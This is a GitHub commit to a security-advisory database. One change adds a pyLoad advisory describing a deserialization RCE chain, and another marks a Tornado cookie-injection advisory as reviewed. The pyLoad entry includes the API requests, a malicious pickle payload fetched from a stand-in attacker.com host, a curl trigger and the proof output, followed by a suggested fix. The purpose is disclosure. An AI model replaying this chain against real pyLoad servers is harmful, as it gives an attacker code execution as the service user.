Skip to content

Commit e932587

Browse files
1 parent ab39cb2 commit e932587

2 files changed

Lines changed: 96 additions & 5 deletions

File tree

Lines changed: 66 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,66 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-4744-96p5-mp2j",
4+
"modified": "2026-04-04T06:43:37Z",
5+
"published": "2026-04-04T06:43:37Z",
6+
"aliases": [
7+
"CVE-2026-35464"
8+
],
9+
"summary": "pyLoad: Unprotected storage_folder enables arbitrary file write to Flask session store and code execution (Incomplete fix for CVE-2026-33509)",
10+
"details": "## Summary\n\nThe fix for CVE-2026-33509 (GHSA-r7mc-x6x7-cqxx) added an `ADMIN_ONLY_OPTIONS` set to block non-admin users from modifying security-critical config options. The `storage_folder` option is not in this set and passes the existing path restriction because the Flask session directory is outside both PKGDIR and userdir. A user with SETTINGS and ADD permissions can redirect downloads to the Flask filesystem session store, plant a malicious pickle payload as a predictable session file, and trigger arbitrary code execution when any HTTP request arrives with the corresponding session cookie.\n\n## Required Privileges\n\nThe chain requires a single non-admin user with both `SETTINGS` (to change `storage_folder`) and `ADD` (to submit a download URL) permissions. These are independent bitmask flags that can be assigned together by an admin. The final RCE trigger is unauthenticated: any HTTP request with the crafted session cookie causes deserialization.\n\n## Root Cause\n\n`storage_folder` at `src/pyload/core/api/__init__.py:238-246` has a path check that blocks writing inside PKGDIR or userdir using `os.path.realpath`. However, Flask's filesystem session directory (`/tmp/pyLoad/flask/` in the standard Docker deployment) is outside both restricted paths.\n\npyload configures Flask with `SESSION_TYPE = \"filesystem\"` at `__init__.py:127`. The cachelib `FileSystemCache` stores session files as `md5(\"session:\" + session_id)` and deserializes them with `pickle.load()` on every request that carries the corresponding session cookie.\n\n## Proven RCE Chain\n\nTested against `lscr.io/linuxserver/pyload-ng:latest` Docker image.\n\n**Step 1** — Change download directory to Flask session store:\n\n POST /api/set_config_value\n {\"section\":\"core\",\"category\":\"general\",\"option\":\"storage_folder\",\"value\":\"/tmp/pyLoad/flask\"}\n\nThe path check resolves `/tmp/pyLoad/flask/` via `realpath`. It does not start with PKGDIR (`/lsiopy/.../pyload/`) or userdir (`/config/`). Check passes.\n\n**Step 2** — Compute the target session filename:\n\n md5(\"session:ATTACKER_SESSION_ID\") = 92912f771df217fb6fbfded6705dd47c\n\nFlask-Session uses cachelib which stores files as `md5(key_prefix + session_id)`. The default key prefix is `session:`.\n\n**Step 3** — Host and download the malicious pickle payload:\n\n import pickle, os, struct\n class RCE:\n def __reduce__(self):\n return (os.system, (\"id > /tmp/pyload-rce-success\",))\n session = {\"_permanent\": True, \"rce\": RCE()}\n payload = struct.pack(\"I\", 0) + pickle.dumps(session, protocol=2)\n # struct.pack(\"I\", 0) = cachelib timeout header (0 = never expires)\n\nServe as `http://attacker.com/92912f771df217fb6fbfded6705dd47c` and submit:\n\n POST /api/add_package\n {\"name\":\"x\",\"links\":[\"http://attacker.com/92912f771df217fb6fbfded6705dd47c\"],\"dest\":1}\n\nThe file is saved to `/tmp/pyLoad/flask/92912f771df217fb6fbfded6705dd47c`.\n\n**Step 4** — Trigger deserialization (unauthenticated):\n\n curl http://target:8000/ -b \"pyload_session_8000=ATTACKER_SESSION_ID\"\n\nThe session cookie name is `pyload_session_` + the configured port number (`__init__.py:128`).\n\nFlask loads the session file. cachelib reads the 4-byte timeout header, confirms the entry is not expired, and calls `pickle.load()`. The RCE gadget executes.\n\n**Result**:\n\n $ docker exec pyload-poc cat /tmp/pyload-rce-success\n uid=1000(abc) gid=1000(users) groups=1000(users)\n\n## Impact\n\nA non-admin user with SETTINGS + ADD permissions achieves arbitrary code execution as the pyload service user. The final trigger requires no authentication. The attacker can:\n\n- Execute arbitrary commands with the privileges of the pyload process\n- Read environment variables (API keys, credentials)\n- Access the filesystem (download history, user database)\n- Pivot to other network resources\n\n## Suggested Fix\n\nAdd `storage_folder` to the ADMIN_ONLY set, or extend the path check to block writing to auto-consumed temporary directories (Flask session store, Jinja bytecode cache, pyload temp directory):\n\n ADMIN_ONLY_OPTIONS = {\n ...\n (\"general\", \"storage_folder\"), # ADDED: prevents session poisoning RCE\n ...\n }\n\nAlso correct the existing wrong option names:\n\n (\"webui\", \"ssl_certfile\"), # FIXED: was \"ssl_cert\" (dead code)\n (\"webui\", \"ssl_keyfile\"), # FIXED: was \"ssl_key\" (dead code)",
11+
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "pyload-ng"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"last_affected": "0.5.0b3"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-4744-96p5-mp2j"
42+
},
43+
{
44+
"type": "WEB",
45+
"url": "https://github.com/pyload/pyload/security/advisories/GHSA-r7mc-x6x7-cqxx"
46+
},
47+
{
48+
"type": "ADVISORY",
49+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33509"
50+
},
51+
{
52+
"type": "PACKAGE",
53+
"url": "https://github.com/pyload/pyload"
54+
}
55+
],
56+
"database_specific": {
57+
"cwe_ids": [
58+
"CWE-502",
59+
"CWE-863"
60+
],
61+
"severity": "HIGH",
62+
"github_reviewed": true,
63+
"github_reviewed_at": "2026-04-04T06:43:37Z",
64+
"nvd_published_at": null
65+
}
66+
}

advisories/unreviewed/2026/04/GHSA-fqwm-6jpj-5wxc/GHSA-fqwm-6jpj-5wxc.json renamed to advisories/github-reviewed/2026/04/GHSA-fqwm-6jpj-5wxc/GHSA-fqwm-6jpj-5wxc.json

Lines changed: 30 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,19 +1,40 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-fqwm-6jpj-5wxc",
4-
"modified": "2026-04-03T06:31:32Z",
4+
"modified": "2026-04-04T06:45:00Z",
55
"published": "2026-04-03T06:31:31Z",
66
"aliases": [
77
"CVE-2026-35536"
88
],
9-
"details": "In Tornado before 6.5.5, cookie attribute injection could occur because the domain, path, and samesite arguments to .RequestHandler.set_cookie were not checked for crafted characters.",
9+
"summary": "Tornado has cookie attribute injection via .RequestHandler.set_cookie",
10+
"details": "In Tornado before 6.5.5, cookie attribute injection could occur because the domain, path, and samesite arguments to `.RequestHandler.set_cookie` were not checked for crafted characters.",
1011
"severity": [
1112
{
1213
"type": "CVSS_V3",
1314
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N"
1415
}
1516
],
16-
"affected": [],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "tornado"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "6.5.5"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
1738
"references": [
1839
{
1940
"type": "WEB",
@@ -23,6 +44,10 @@
2344
"type": "ADVISORY",
2445
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35536"
2546
},
47+
{
48+
"type": "PACKAGE",
49+
"url": "https://github.com/tornadoweb/tornado"
50+
},
2651
{
2752
"type": "WEB",
2853
"url": "https://github.com/tornadoweb/tornado/releases/tag/v6.5.5"
@@ -33,8 +58,8 @@
3358
"CWE-159"
3459
],
3560
"severity": "HIGH",
36-
"github_reviewed": false,
37-
"github_reviewed_at": null,
61+
"github_reviewed": true,
62+
"github_reviewed_at": "2026-04-04T06:45:00Z",
3863
"nvd_published_at": "2026-04-03T04:16:53Z"
3964
}
4065
}

0 commit comments

Comments
 (0)